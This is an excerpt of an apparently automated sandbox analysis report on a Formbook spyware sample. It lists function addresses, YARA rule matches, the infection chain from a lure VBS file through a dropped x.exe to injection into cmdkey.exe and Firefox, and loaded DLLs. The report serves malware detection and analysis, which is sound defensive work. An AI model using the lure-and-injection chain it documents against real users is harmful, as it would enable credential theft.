Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452C600	3_2_3452C600
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AD62C	3_2_345AD62C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CA6C0	3_2_345CA6C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CF6F6	3_2_345CF6F6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450C6E0	3_2_3450C6E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C6757	3_2_345C6757
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34512760	3_2_34512760
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451A760	3_2_3451A760
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BE076	3_2_345BE076
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451B0D0	3_2_3451B0D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C70F1	3_2_345C70F1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345000A0	3_2_345000A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3455717A	3_2_3455717A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D010E	3_2_345D010E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AD130	3_2_345AD130
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345151C0	3_2_345151C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FD2EC	3_2_344FD2EC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451E310	3_2_3451E310
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CF330	3_2_345CF330
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34501380	3_2_34501380
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BEC4C	3_2_345BEC4C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34513C60	3_2_34513C60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C6C69	3_2_345C6C69
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CEC60	3_2_345CEC60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34500C12	3_2_34500C12
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451AC20	3_2_3451AC20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34528CDF	3_2_34528CDF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452FCE0	3_2_3452FCE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DACEB	3_2_345DACEB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345A9C98	3_2_345A9C98
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C7D4C	3_2_345C7D4C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510D69	3_2_34510D69
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450AD00	3_2_3450AD00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CFD27	3_2_345CFD27
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34519DD0	3_2_34519DD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AFDF4	3_2_345AFDF4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522DB0	3_2_34522DB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34530E50	3_2_34530E50
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345B0E6D	3_2_345B0E6D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C9ED2	3_2_345C9ED2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34502EE8	3_2_34502EE8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34511EB2	3_2_34511EB2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C0EAD	3_2_345C0EAD
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CFF63	3_2_345CFF63
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451CF00	3_2_3451CF00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C1FC6	3_2_345C1FC6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34516FE0	3_2_34516FE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CEFBF	3_2_345CEFBF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34519870	3_2_34519870
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B870	3_2_3452B870
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F6868	3_2_344F6868
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CF872	3_2_345CF872
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34513800	3_2_34513800
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345B0835	3_2_345B0835
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345128C0	3_2_345128C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C78F3	3_2_345C78F3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34526882	3_2_34526882
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450E9A0	3_2_3450E9A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CE9A6	3_2_345CE9A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CEA5B	3_2_345CEA5B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CCA13	3_2_345CCA13
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CFA89	3_2_345CFA89
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452FAA0	3_2_3452FAA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510B10	3_2_34510B10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CFB2E	3_2_345CFB2E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34584BC0	3_2_34584BC0
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03585A8D	4_2_03585A8D
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03587A5D	4_2_03587A5D
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03585ADD	4_2_03585ADD
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0358E19D	4_2_0358E19D
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03587839	4_2_03587839
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0358783D	4_2_0358783D
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0358FFBD	4_2_0358FFBD
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_035A665D	4_2_035A665D
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0357BC4F	4_2_0357BC4F
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03585CB5	4_2_03585CB5
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0342E310	5_2_0342E310
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DF330	5_2_034DF330
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03411380	5_2_03411380
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033E2245	5_2_033E2245
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0340D2EC	5_2_0340D2EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0346717A	5_2_0346717A
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034E010E	5_2_034E010E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0340F113	5_2_0340F113
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034BD130	5_2_034BD130
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034251C0	5_2_034251C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0343B1E0	5_2_0343B1E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034CE076	5_2_034CE076
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0342B0D0	5_2_0342B0D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D70F1	5_2_034D70F1
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034100A0	5_2_034100A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D6757	5_2_034D6757
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03422760	5_2_03422760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0342A760	5_2_0342A760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034CD646	5_2_034CD646
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03444670	5_2_03444670
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0343C600	5_2_0343C600
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034BD62C	5_2_034BD62C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DA6C0	5_2_034DA6C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0341C6E0	5_2_0341C6E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DF6F6	5_2_034DF6F6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03420680	5_2_03420680
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034EA526	5_2_034EA526
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DF5C9	5_2_034DF5C9
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D75C6	5_2_034D75C6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03420445	5_2_03420445
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03420B10	5_2_03420B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DFB2E	5_2_034DFB2E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03494BC0	5_2_03494BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DEA5B	5_2_034DEA5B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DCA13	5_2_034DCA13
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DFA89	5_2_034DFA89
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0343FAA0	5_2_0343FAA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033E99E8	5_2_033E99E8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0341E9A0	5_2_0341E9A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DE9A6	5_2_034DE9A6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03406868	5_2_03406868
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03429870	5_2_03429870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0343B870	5_2_0343B870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DF872	5_2_034DF872
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03423800	5_2_03423800
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034C0835	5_2_034C0835
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034228C0	5_2_034228C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D78F3	5_2_034D78F3
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03436882	5_2_03436882
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DFF63	5_2_034DFF63
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0342CF00	5_2_0342CF00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D1FC6	5_2_034D1FC6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03426FE0	5_2_03426FE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DEFBF	5_2_034DEFBF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03440E50	5_2_03440E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034C0E6D	5_2_034C0E6D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D9ED2	5_2_034D9ED2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03412EE8	5_2_03412EE8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D0EAD	5_2_034D0EAD
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03421EB2	5_2_03421EB2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D7D4C	5_2_034D7D4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03420D69	5_2_03420D69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0341AD00	5_2_0341AD00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DFD27	5_2_034DFD27
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03429DD0	5_2_03429DD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034BFDF4	5_2_034BFDF4
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03432DB0	5_2_03432DB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034CEC4C	5_2_034CEC4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03423C60	5_2_03423C60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034D6C69	5_2_034D6C69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034DEC60	5_2_034DEC60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03410C12	5_2_03410C12
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0342AC20	5_2_0342AC20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03438CDF	5_2_03438CDF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0343FCE0	5_2_0343FCE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034EACEB	5_2_034EACEB
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034B9C98	5_2_034B9C98
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A41DC0	5_2_00A41DC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A3B188	5_2_00A3B188
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A31122	5_2_00A31122
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A45490	5_2_00A45490
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A43670	5_2_00A43670
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A5BB30	5_2_00A5BB30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A3CD0C	5_2_00A3CD0C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A3CD10	5_2_00A3CD10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A3AFB0	5_2_00A3AFB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A3CF30	5_2_00A3CF30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333E3D5	5_2_0333E3D5
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333E4F3	5_2_0333E4F3
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333E88C	5_2_0333E88C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333D8F8	5_2_0333D8F8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nsb9D0E.tmp\System.dll 90F3CEBB5B3759EB1BD72CEE7CD8B694440EE398FE970B763DB7A7B67208E4C8

Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 03467BE4 appears 87 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 0348E692 appears 76 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 0340B910 appears 245 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 0349EF10 appears 99 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 03455050 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 3458EF10 appears 95 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 3457E692 appears 72 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 344FB910 appears 244 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 34545050 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 34557BE4 appears 79 times

Source: #U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs

Initial sample: Strings found which are bigger than 50

Source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@9/9@19/14

Source: C:\Users\user\AppData\Local\Temp\x.exe

2_2_004034CE

Source: C:\Users\user\AppData\Local\Temp\x.exe

File created: C:\Users\user\AppData\Local\dipuskompleks.ini

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: #U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs

Virustotal: Detection: 12%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
